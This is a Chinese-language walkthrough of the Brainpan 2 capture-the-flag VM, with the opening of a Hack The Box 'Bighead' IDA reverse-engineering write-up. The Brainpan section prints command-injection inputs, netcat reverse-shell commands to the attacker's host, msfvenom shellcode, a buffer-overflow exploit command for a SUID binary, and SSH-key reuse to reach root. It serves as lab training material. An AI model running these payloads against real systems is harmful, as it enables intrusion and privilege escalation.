这意味着可以读取用户获得许可的每个文件，并在可写目录中创建文件。检查了其他命令，但几乎所有命令尚未实现。guest用户不可用的很少。在那一刻，想起了HELP中的一句话引起了我的注意。

``` bash
AUTHENTICATION
       There is currently no proper authentication mechanism in place. At this
       time  the software is in it's alpha stage. The only avaiable account is
       GUEST. The DEBUG account will alter the output of some commands -  use\u2010
       ful for developers.
```

提到DEBUG用户。我已从应用程序注销并再次提供“DEBUG”而不是“GUEST”帐户的连接。使用此帐户，可以运行“SYSTEM”命令。

``` bash
root@kali:~# nc 192.168.56.116 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[______________________ WELCOME TO BRAINPAN 2.0________________________]
                             LOGIN AS GUEST                             

                          >> DEBUG
                          ACCESS GRANTED


                             *  *  *  *                                
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.  
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.  
                             *  *  *  *                                


                          >> SYSTEM
LANG=en_US.UTF-8
HOME=/home/anansi
COLORTERM=(null)
PWD=/opt/brainpan
PATH=/bin:.:/usr/bin:/sbin
SHLVL=1
```

在这里停止一下，总结一下已经了解的有关目标的知识：

 - 它以单个IP：192.168.57.1​​0运行（在我的情况下）
 - 它有两个开放端口9999和10000
 - 在端口10000上正在运行http服务器（此处无趣）
 - 该http服务器基于Python，这意味着Python已安装并且可以使用
 - 在端口9999上运行某些自定义文件传输
 - 应用自定义应用程序不仅可以在应用程序根目录中提供读取/写入系统中文件的功能
 - 该应用程序在/opt/brainpan中
 - 对DEBUG用户的访问不受限制，因此可以完全访问该应用
 - 从notes.txt中知道应用程序正在使用popen（）查看文件等。


可以轻松地将任何文件上传到目标，但无法执行。下一步将是在目标系统上查找远程代码执行。目标是在端口9999上运行的自定义应用程序。在这种情况下，创建程序伪代码是一个好主意。看一下：从popen手册中发现了这一点：

``` bash
The command argument is a pointer to a null-terminated string containing a shell command line. This command is passed to /bin/sh using the -c flag; interpretation, if any, is performed by the shell.
```

命令参数是指向以空结束的字符串的指针，该字符串包含shell命令行。使用-c标志将该命令传递给/bin/sh；解释（如果有）由shell执行。

意味着可以使用popen（）执行多个命令，唯一需要的就是将命令注入其中。在popen（）中可能使用用户输入的唯一两个命令是VIEW和CREATE。从VIEW开始：

``` bash
                          >> VIEW  
    ENTER FILE TO DOWNLOAD: notes.txt; echo "some unexpected text lucifer11";           
TODO LIST
---------
reynard: 
 - Completed manpage. Read with groff or man.
 - Renamed to brainpan.txt instead of brainpan.7.
 - Fixed call to read manpage: popen("man ./brainpan.txt", "r"); 

puck:
Easiest way to display file contents is to just use popen(). Eg:
popen("/bin/ls", "r");
popen("/bin/man ./brainpan.7", "r");
popen("/usr/bin/top", "r");
etc... 

anansi: 
 - Fixed a reported buffer overflow in login in version 1.0. 
 - Discovered buffer overflow in the command prompt, fixed as of version 2.0

puck: look into loading a configuration file instead of hardcoding settings 
in the server, version 1.8
anansi: dropped configuration file - leave it hardcoded, version 1.9
some unexpected text lucifer11

                          >> VIEW
    ENTER FILE TO DOWNLOAD: notes.txt; ifconfig;
TODO LIST
---------
reynard: 
 - Completed manpage. Read with groff or man.
 - Renamed to brainpan.txt instead of brainpan.7.
 - Fixed call to read manpage: popen("man ./brainpan.txt", "r"); 

puck:
Easiest way to display file contents is to just use popen(). Eg:
popen("/bin/ls", "r");
popen("/bin/man ./brainpan.7", "r");
popen("/usr/bin/top", "r");
etc... 

anansi: 
 - Fixed a reported buffer overflow in login in version 1.0. 
 - Discovered buffer overflow in the command prompt, fixed as of version 2.0

puck: look into loading a configuration file instead of hardcoding settings 
in the server, version 1.8
anansi: dropped configuration file - leave it hardcoded, version 1.9
eth0      Link encap:Ethernet  HWaddr 08:00:27:6d:b8:70  
          inet addr:192.168.56.116  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe6d:b870/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:213 errors:0 dropped:0 overruns:0 frame:0
          TX packets:152 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:20390 (19.9 KiB)  TX bytes:19237 (18.7 KiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
```

可以从输出看到;后面的命令已经被成功执行

创建远程shell程序并执行（是的，也可以使用一些Metasploit payload创建文件并运行它）：

``` bash
                          >> VIEW
    ENTER FILE TO DOWNLOAD: fuck; nc -e /bin/bash 192.168.56.102 6666
```

监听6666端口，成功的返回了shell

``` bash
root@kali:~# nc -lvp 6666
listening on [any] 6666 ...
192.168.56.116: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.116] 53756
id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
python -c 'import pty;pty.spawn("/bin/bash");'
anansi@brainpan2:/opt/brainpan$ id
id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
anansi@brainpan2:/opt/brainpan$ whoami
whoami
anansi
anansi@brainpan2:/opt/brainpan$
```

#### 提权

``` bash
anansi@brainpan2:/home/reynard$ ls  
ls
msg_root  readme.txt  startweb.sh  web
anansi@brainpan2:/home/reynard$ ./msg_root
./msg_root
usage: msg_root username message
```

anansi文件夹中没什么有趣的，可以访问reynard文件夹并找到一个有趣的应用程序。已经在文件夹中启动了SimpleHTTPServer并下载这个二进制文件。

``` bash
anansi@brainpan2:/home/reynard$ python -m SimpleHTTPServer
python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.56.1 - - [02/Feb/2020 20:41:00] code 404, message File not found
192.168.56.1 - - [02/Feb/2020 20:41:00] "GET /robots.txt HTTP/1.1" 404 -
192.168.56.1 - - [02/Feb/2020 20:41:00] "GET / HTTP/1.1" 200 -
192.168.56.1 - - [02/Feb/2020 20:41:00] code 404, message File not found
192.168.56.1 - - [02/Feb/2020 20:41:00] "GET /favicon.ico HTTP/1.1" 404 -
192.168.56.1 - - [02/Feb/2020 20:41:04] "GET /msg_root HTTP/1.1" 200 -
```

使用gdb逆向一下看看，可以看到输入垃圾数据出现了段错误

``` bash
anansi@brainpan2:/home/reynard$ gdb msg_root
gdb msg_root
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/reynard/msg_root...done.

(gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
<aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa                      
Starting program: /home/reynard/msg_root aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) BT
BT
#0  0x61616161 in ?? ()
#1  0x0804872e in get_name (u=0xbffffe70 'a' <repeats 108 times>, 
    m=0xbffffedd 'a' <repeats 87 times>) at msg_root.c:26
#2  0x0804877b in main (argc=3, argv=0xbffffd54) at msg_root.c:35
(gdb)
```

已经在hte中检查了文件，并在其中找到了一些函数：

``` bash
save_msg
get_name
main
```

执行应用程序后，将转到：main -> get_name -> save_msg。从崩溃中查看回溯，注意到方法get_name内的地址0x0804872e。分解此函数将得到如下代码：

``` bash
(gdb) disassemble get_name
disassemble get_name
Dump of assembler code for function get_name:
   0x080486a1 <+0>:     push   %ebp
   0x080486a2 <+1>:     mov    %esp,%ebp
   0x080486a4 <+3>:     sub    $0x20,%esp
   0x080486a7 <+6>:     movl   $0x804863c,-0x4(%ebp)
   0x080486ae <+13>:    mov    0x8(%ebp),%eax
   0x080486b1 <+16>:    mov    %eax,(%esp)
   0x080486b4 <+19>:    call   0x8048500 <strlen@plt>
   0x080486b9 <+24>:    cmp    $0x11,%eax
   0x080486bc <+27>:    ja     0x80486d2 <get_name+49>
   0x080486be <+29>:    mov    0x8(%ebp),%eax
   0x080486c1 <+32>:    mov    %eax,0x4(%esp)
   0x080486c5 <+36>:    lea    -0x12(%ebp),%eax
   0x080486c8 <+39>:    mov    %eax,(%esp)
   0x080486cb <+42>:    call   0x80484b0 <strcpy@plt>
   0x080486d0 <+47>:    jmp    0x80486ec <get_name+75>
   0x080486d2 <+49>:    movl   $0x12,0x8(%esp)
   0x080486da <+57>:    mov    0x8(%ebp),%eax
   0x080486dd <+60>:    mov    %eax,0x4(%esp)
   0x080486e1 <+64>:    lea    -0x12(%ebp),%eax
   0x080486e4 <+67>:    mov    %eax,(%esp)
   0x080486e7 <+70>:    call   0x8048540 <strncpy@plt>
   0x080486ec <+75>:    movl   $0x7d0,(%esp)
   0x080486f3 <+82>:    call   0x80484c0 <malloc@plt>
   0x080486f8 <+87>:    mov    %eax,-0x8(%ebp)
   0x080486fb <+90>:    mov    0xc(%ebp),%eax
   0x080486fe <+93>:    mov    %eax,(%esp)
   0x08048701 <+96>:    call   0x8048500 <strlen@plt>
   0x08048706 <+101>:   mov    %eax,0x8(%esp)
   0x0804870a <+105>:   mov    0xc(%ebp),%eax
   0x0804870d <+108>:   mov    %eax,0x4(%esp)
   0x08048711 <+112>:   mov    -0x8(%ebp),%eax
   0x08048714 <+115>:   mov    %eax,(%esp)
   0x08048717 <+118>:   call   0x8048540 <strncpy@plt>
   0x0804871c <+123>:   mov    -0x8(%ebp),%eax
   0x0804871f <+126>:   mov    %eax,0x4(%esp)
   0x08048723 <+130>:   lea    -0x12(%ebp),%eax
   0x08048726 <+133>:   mov    %eax,(%esp)
==>0x08048729 <+136>:   mov    -0x4(%ebp),%eax
   0x0804872c <+139>:   call   *%eax
   0x0804872e <+141>:   mov    -0x8(%ebp),%eax
   0x08048731 <+144>:   mov    %eax,(%esp)
   0x08048734 <+147>:   call   0x8048490 <free@plt>
   0x08048739 <+152>:   leave  
   0x0804873a <+153>:   ret    
End of assembler dump.
```

箭头指向的指令是将地址的内容在ebp之前移4个字节，然后将其移动到eax，然后跳转到该地址。

这是用户提供有效输入时的场景：

``` bash
(gdb) b *0x08048729
b *0x08048729
Breakpoint 1 at 0x8048729: file msg_root.c, line 26.
(gdb) r aaaaaaa b
r aaaaaaa b
The program being debugged has been started already.
Start it from the beginning? (y or n) y
y

Starting program: /home/reynard/msg_root aaaaaaa b

Breakpoint 1, 0x08048729 in get_name (u=0xbfffff2b "aaaaaaa", 
    m=0xbfffff33 "b") at msg_root.c:26
26      in msg_root.c
(gdb) i r ebp eax
i r ebp eax
ebp            0xbffffd58       0xbffffd58
eax            0xbffffd46       -1073742522
(gdb) x $ebp-4
x $ebp-4
0xbffffd54:     0x0804863c
(gdb) x/12xw $esp
x/12xw $esp
0xbffffd38:     0xbffffd46      0x0804a008      0x00000001      0x6161fe14
0xbffffd48:     0x61616161      0xbfff0061      0x0804a008      0x0804863c
0xbffffd58:     0xbffffd68      0x0804877b      0xbfffff2b      0xbfffff33
```

您会注意到很少有61个对应于“aaaaaaa”的数字。命令x $ ebp-4显示将被移到eax的地址0x61616161是save_msg方法开始的地方。检查ebp-8的地址0x0804a008表明这是一个复制了第二个参数的内存（在我的情况下是几个b，下面的0x62）：

``` bash
(gdb) x/8xw 0x0804a008
x/8xw 0x0804a008
0x804a008:      0x00000062      0x00000000      0x00000000      0x00000000
0x804a018:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) s
s
save_msg (u=0xbffffd46 "aaaaaaa", m=0x804a008 "b") at msg_root.c:6
6       in msg_root.c
(gdb) i r ebp eax
i r ebp eax
ebp            0xbffffd30       0xbffffd30
eax            0x804863c        134514236
```

可以看到eax现在指向save_msg。提供长的第一个参数可以覆盖将被复制到eax的内存，从而使应用程序崩溃，如下所示：

``` bash
(gdb) r a b
r a b
The program being debugged has been started already.
Start it from the beginning? (y or n) y
y

Starting program: /home/reynard/msg_root a b

Breakpoint 1, 0x08048729 in get_name (u=0xbfffff31 "a", m=0xbfffff33 "b")
    at msg_root.c:26
26      in msg_root.c
(gdb) x/16xw $esp
x/16xw $esp
0xbffffd38:     0xbffffd46      0x0804a008      0x00000001      0x0061fe14
0xbffffd48:     0xbffffe24      0xbffffd68      0x0804a008      0x0804863c
0xbffffd58:     0xbffffd68      0x0804877b      0xbfffff31      0xbfffff33
0xbffffd68:     0xbffffde8      0xb7e8ee46      0x00000003      0xbffffe14
(gdb) i r ebp eax
i r ebp eax
ebp            0xbffffd58       0xbffffd58
eax            0xbffffd46       -1073742522
(gdb) s
s
save_msg (u=0xbffffd46 "a", m=0x804a008 "b") at msg_root.c:6
6       in msg_root.c
(gdb) i r ebp eax
i r ebp eax
ebp            0xbffffd30       0xbffffd30
eax            0x804863c        134514236
```

有了这些知识，开始开发阶段。我的想法很简单。在第二个参数中编写shellcode时，在第一个参数中提供shellcode的地址。因此，第一个参数只能是重复了几次的0x0804a008，这给了我：

对于第二个参数，需要shellcode。可以在线找到一个或使用msfvenom：

``` bash
root@kali:~/vulnhub/brainpan2# msfvenom -p linux/x86/exec CMD="/bin/sh" -b "x00" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
Final size of python file: 357 bytes
buf =  b""
buf += b"\xdb\xd1\xd9\x74\x24\xf4\xba\x07\xeb\x6c\xe2\x5d\x2b"
buf += b"\xc9\xb1\x0b\x83\xc5\x04\x31\x55\x16\x03\x55\x16\xe2"
buf += b"\xf2\x81\x67\xba\x65\x07\x1e\x52\xb8\xcb\x57\x45\xaa"
buf += b"\x24\x1b\xe2\x2a\x53\xf4\x90\x43\xcd\x83\xb6\xc1\xf9"
buf += b"\x9c\x38\xe5\xf9\xb3\x5a\x8c\x97\xe4\xe9\x26\x68\xac"
buf += b"\x5e\x3f\x89\x9f\xe1"
```

填好二个参数,并执行命令：

``` bash
./msg_root `perl -e 'print "\x04\x08\x08\xa0"x8;'` `perl -e 'print "\xdb\xd1\xd9\x74\x24\xf4\xba\x07\xeb\x6c\xe2\x5d\x2b\xc9\xb1\x0b\x83\xc5\x04\x31\x55\x16\x03\x55\x16\xe2\xf2\x81\x67\xba\x65\x07\x1e\x52\xb8\xcb\x57\x45\xaa\x24\x1b\xe2\x2a\x53\xf4\x90\x43\xcd\x83\xb6\xc1\xf9\x9c\x38\xe5\xf9\xb3\x5a\x8c\x97\xe4\xe9\x26\x68\xac\x5e\x3f\x89\x9f\xe1";'`
```

读取flag看看，看起来好像成功了

``` bash
$ id
id
uid=1000(anansi) gid=1000(anansi) euid=104(root) groups=106(root),50(staff),1000(anansi)
$ whoami
whoami
root
$ cd /root
cd /root
$ ls
ls
flag.txt  whatif.txt
$ cat flag.txt
cat flag.txt
cat: flag.txt: Permission denied
$ cat whatif.txt
cat whatif.txt

       WHAT IF I TOLD YOU
              ___
            /     \ 
           | ______\
          (, \_/ \_/
           |   ._. |
           \   --- /
           /`-.__.'
      .---'`-.___|\___
     /                `.

       YOU ARE NOT ROOT?
$ ls -la
ls -la
total 28
drwx------  3 root  root  4096 Nov  5  2013 .
drwxr-xr-x 22 root  root  4096 Nov  5  2013 ..
drwx------  2 root  root  4096 Nov  4  2013 .aptitude
-rw-------  1 root  root     0 Nov  5  2013 .bash_history
-rw-r--r--  1 root  root   589 Nov  5  2013 .bashrc
-rw-r--r--  1 root  root   159 Nov  5  2013 .profile
-rw-------  1 root  root   461 Nov  5  2013 flag.txt
-rw-------  1 root  root   245 Nov  5  2013 whatif.txt
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub199.jpg)

必须说，root帐户的窍门很不错。有两个帐户，一个名为root，另一个名为root（末尾有空格）。第二个是这里的真正root用户。看来还有很长的路要走...
寻找SUID/SGID执行权限的文件：

``` bash
$ find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null                                                                                                                                                                                        
/sbin/unix_chkpwd
/opt/old/brainpan-1.8/brainpan-1.8.exe
...
$ cd /opt/old/brainpan-1.8/
cd /opt/old/brainpan-1.8/
$ ls
ls
brainpan-1.8.exe  brainpan.7  brainpan.cfg
$ echo "port=9333" > brainpan.cfg
echo "port=9333" > brainpan.cfg
$ echo "ipaddr=0.0.0.0" >> brainpan.cfg
echo "ipaddr=0.0.0.0" >> brainpan.cfg
$ cat brainpan.cfg
cat brainpan.cfg
port=9333
ipaddr=0.0.0.0
```

启动该应用程序并通过我的机器进行了连接：

``` bash
$ ./brainpan-1.8.exe
./brainpan-1.8.exe
port = 9333
ipaddr = 0.0.0.0
+ bind done
+ waiting for connections...
+ connection accepted
```

nc连接之后，执行反弹命令获取shell

``` bash
root@kali:~# nc 192.168.56.116 9333
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[______________________ WELCOME TO BRAINPAN 1.8________________________]
                             LOGIN AS GUEST                             

                          >> GUEST
                          ACCESS GRANTED


                             *  *  *  *                                
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.  
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.  
                             *  *  *  *                                


                          >> VIEW
    ENTER FILE TO DOWNLOAD: a; nc -e /bin/sh 192.168.56.102 7777
```

成功获取了puck用户的shell

``` bash
root@kali:~# nc -lvp 7777
listening on [any] 7777 ...
192.168.56.116: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.116] 53497
id
uid=1000(anansi) gid=1000(anansi) euid=1001(puck) groups=1001(puck),50(staff),1000(anansi)
python -c 'import os,pty;os.setresuid(1001,1001,1001);pty.spawn("/bin/bash");'
puck@brainpan2:/opt/old/brainpan-1.8$ id
id
uid=1001(puck) gid=1000(anansi) groups=1001(puck),50(staff),1000(anansi)
puck@brainpan2:/opt/old/brainpan-1.8$ whoami
whoami
puck
```

查看puck的文件夹

``` bash
puck@brainpan2:/home$ cd puck
cd puck
puck@brainpan2:/home/puck$ ls
ls
puck@brainpan2:/home/puck$ ls -la
ls -la
total 28
drwx------ 4 puck  puck  4096 Nov  5  2013 .
drwxr-xr-x 5 root  root  4096 Nov  4  2013 ..
drwxr-xr-x 3 puck  puck  4096 Nov  5  2013 .backup
-rw------- 1 puck  puck     0 Nov  5  2013 .bash_history
-rw-r--r-- 1 puck  puck   220 Nov  4  2013 .bash_logout
-rw-r--r-- 1 puck  puck  3392 Nov  4  2013 .bashrc
-rw-r--r-- 1 puck  puck   675 Nov  4  2013 .profile
drwx------ 2 puck  puck  4096 Nov  5  2013 .ssh
```

不是空的bash_history？真奇怪：

``` bash
puck@brainpan2:/home/puck$ cd .backup
cd .backup
puck@brainpan2:/home/puck/.backup$ ls
ls
puck@brainpan2:/home/puck/.backup$ ls -la
ls -la
total 28
drwxr-xr-x 3 puck puck 4096 Nov  5  2013 .
drwx------ 4 puck puck 4096 Nov  5  2013 ..
-rw------- 1 puck puck  395 Nov  5  2013 .bash_history
-rw-r--r-- 1 puck puck  220 Nov  4  2013 .bash_logout
-rw-r--r-- 1 puck puck 3392 Nov  4  2013 .bashrc
-rw-r--r-- 1 puck puck  675 Nov  4  2013 .profile
drwx------ 2 puck puck 4096 Nov  4  2013 .ssh
puck@brainpan2:/home/puck/.backup$ cat .bash_history
cat .bash_history
cd /usr/local/bin
ls -l
./msg_root "comment on the latest version please"
cd /opt/brainpan/
ps aux
vi brainpan-1.8.c
cd ../archive
netstat -antp
netstat -antp | grep 9888
cd ..
ls
cd old
ls
cd brainpan-1.8
vi brainpan-1.8.c
ssh -l "root " brainpan2
vi brainpan.7
man ./brainpan.7
ls
htop
top
ls -latr
cat .bash_history 
ls
mkdir .backup
mv .ssh .bash* .backup
cd .backup/
ls
clear
ls -latr
exit
puck@brainpan2:/home/puck/.backup$
```

因此，puck用户可以通过ssh登录到/目录。我做到了：

``` bash
puck@brainpan2:/home/puck$ mv .ssh .ssh-old
mv .ssh .ssh-old
puck@brainpan2:/home/puck$ ls
ls
puck@brainpan2:/home/puck$ ls -al
ls -al
total 28
drwx------ 4 puck  puck  4096 Feb  2 23:23 .
drwxr-xr-x 5 root  root  4096 Nov  4  2013 ..
drwxr-xr-x 3 puck  puck  4096 Nov  5  2013 .backup
-rw------- 1 puck  puck     0 Nov  5  2013 .bash_history
-rw-r--r-- 1 puck  puck   220 Nov  4  2013 .bash_logout
-rw-r--r-- 1 puck  puck  3392 Nov  4  2013 .bashrc
-rw-r--r-- 1 puck  puck   675 Nov  4  2013 .profile
drwx------ 2 puck  puck  4096 Nov  5  2013 .ssh-old
puck@brainpan2:/home/puck$ cp -rp .backup/.ssh .
cp -rp .backup/.ssh .
puck@brainpan2:/home/puck$ ls -la
ls -la
total 32
drwx------ 5 puck  puck   4096 Feb  2 23:23 .
drwxr-xr-x 5 root  root   4096 Nov  4  2013 ..
drwxr-xr-x 3 puck  puck   4096 Nov  5  2013 .backup
-rw------- 1 puck  puck      0 Nov  5  2013 .bash_history
-rw-r--r-- 1 puck  puck    220 Nov  4  2013 .bash_logout
-rw-r--r-- 1 puck  puck   3392 Nov  4  2013 .bashrc
-rw-r--r-- 1 puck  puck    675 Nov  4  2013 .profile
drwx------ 2 puck  anansi 4096 Nov  4  2013 .ssh
drwx------ 2 puck  puck   4096 Nov  5  2013 .ssh-old
puck@brainpan2:/home/puck$ ssh -l "root " brainpan2
ssh -l "root " brainpan2
ssh: connect to host brainpan2 port 22: Connection refused
```

看看ssh是否没有运行或在其他端口上运行。

``` bash
puck@brainpan2:/home/puck$ cat /etc/ssh/sshd_config
cat /etc/ssh/sshd_config
# Package generated configuration file
# See the sshd_config(5) manpage for details

# What ports, IPs and protocols we listen for
Port 2222
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
ListenAddress 127.0.1.1
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation yes

# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 768

# Logging
SyslogFacility AUTH
LogLevel INFO

# Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes

RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile     %h/.ssh/authorized_keys

# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes

# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Change to no to disable tunnelled clear text passwords
#PasswordAuthentication yes

# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no

#MaxStartups 10:30:60
#Banner /etc/issue.net

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

Subsystem sftp /usr/lib/openssh/sftp-server

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes
```

最后终于成功连接ssh并且找到了flag，过程虽然没有太多很难的知识点，但是真够复杂的，不愧被称为brainpan!!!

``` bash
puck@brainpan2:/home/puck$ ssh -l "root " brainpan2 -p 2222
ssh -l "root " brainpan2 -p 2222
The authenticity of host '[brainpan2]:2222 ([127.0.1.1]:2222)' can't be established.
ECDSA key fingerprint is 0a:15:1c:1c:25:b0:fe:54:8a:35:45:e5:b8:02:97:1a.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '[brainpan2]:2222' (ECDSA) to the list of known hosts.
Linux brainpan2 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Nov  7 11:00:06 2013
root @brainpan2:~# id
id
uid=0(root ) gid=0(root ) groups=0(root )
root @brainpan2:~# whoami
whoami
root 
root @brainpan2:~# cd /root
cd /root
root @brainpan2:/root# ls
ls
flag.txt  whatif.txt
root @brainpan2:/root# cat flag.txt
cat flag.txt

                          !!! CONGRATULATIONS !!!

                 You've completed the Brainpan 2 challenge! 
                 Or have you...? 

                 Yes, you have! Pat yourself on the back. :-)

                 Questions, comments, suggestions for new VM
                 challenges? Let me know! 


                 Twitter: @superkojiman
                 Email  : contact@techorganic.com
                 Web    : http://www.techorganic.com

root @brainpan2:/root#
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub200.jpg)

#### 知识点总结

 - popen()执行多个命令获取shell
 - gdb调试寻找缓冲区溢出的地址
 - msfvenom生成shellcode配合ebp-8的地址0x0804a008进行缓冲区溢出提权
 - 更换成ssh备份的私匙，连接具有root权限的ssh
 - .bash_history中的ssh连接历史中ssh密码泄露

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end brainpan2 -->

</details>

<a id="case-hack-the-box-bigheadwebsvr-2"></a>

## 请求处理器中的长度与堆分配

IDA 分析定位请求解析循环、分配大小与复制长度的差异，两份最终脚本保留各自稳定性与回连等待条件。

<p class="kb-provenance">来源 hack-the-box-bigheadwebsvr-2 · 原记录 2020-12-30 · 3 个代码块 · 14 处图片引用</p>

<details class="kb-evidence" id="record-hack-the-box-bigheadwebsvr-2">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start hack-the-box-bigheadwebsvr-2 -->

 - 本文专门记录hack the box --- bighead机器的BigheadWebSvr逆向部分，故前面的部分省略，part2主要使用的工具是ida。



#### step1

 - 寻找ConnectionHandler

找到处理web请求的函数，因为可以与服务器交互。如果在处理命令行参数时发现了溢出，这没有用，因为无法控制它。下面的方法可以找到IDA标记为_ConnectionHandler@4的函数。

 - 字符串

打开IDA后，按Shift-F12打开Strings窗口。走到一半的时候，这个区域会跳出来

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida.jpg)

这些显然是用于解析传入的HTTP请求的字符串。这输入与服务器交互的地方，所以想从这里开始。选择GET /coffee，因为这是第一次看到BigheadWebSrv的路径。

双击它，带到字符串是在内存中，与几个其他字符串在它周围，可以看到这个字符串地址在0x004077F3:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/bigheadida1.jpg)

IDA还展示了_ConnectionHandler@4中的交叉引用(引用0x004077F3的代码)。

点击aGetCoffee(它将突出显示黄色)，然后点击“x”，将得到一个弹出与这个字符串引用的代码的位置列表:

